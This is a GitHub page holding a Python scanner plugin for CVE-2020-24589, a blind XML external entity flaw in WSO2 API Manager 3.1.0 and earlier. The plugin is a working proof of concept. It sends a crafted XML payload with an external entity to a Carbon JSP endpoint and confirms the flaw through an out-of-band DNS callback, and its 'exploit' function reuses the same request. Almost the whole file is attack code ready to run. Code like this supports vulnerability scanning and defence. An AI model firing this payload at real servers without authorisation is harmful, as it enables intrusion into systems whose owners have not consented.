-
Notifications
You must be signed in to change notification settings - Fork 220
/
CVE-2020-24589.py
71 lines (54 loc) · 1.91 KB
/
CVE-2020-24589.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
from plugins.oob import verify_request, gen_oob_domain
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''WSO2 API Manager Blind XXE''',
"description": '''WSO2 API Manager 3.1.0 and earlier is vulnerable to blind XXE.''',
"severity": "critical",
"references": [
"https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-0742"
],
"classification": {
"cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"cvss-score": "",
"cve-id": "CVE-2020-24589",
"cwe-id": ""
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2020", "wso2", "xxe", "oast", "blind"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
try:
url = format_url(url)
oob_domain,flag = gen_oob_domain()
path = """/carbon/generic/save_artifact_ajaxprocessor.jsp"""
method = "POST"
data = """payload=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+a+[+<!ENTITY+%25+xxe+SYSTEM+"http%3a//{oob_domain}">%25xxe%3b]>""".format(oob_domain=oob_domain)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
if verify_request(type="dns", flag=flag):
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url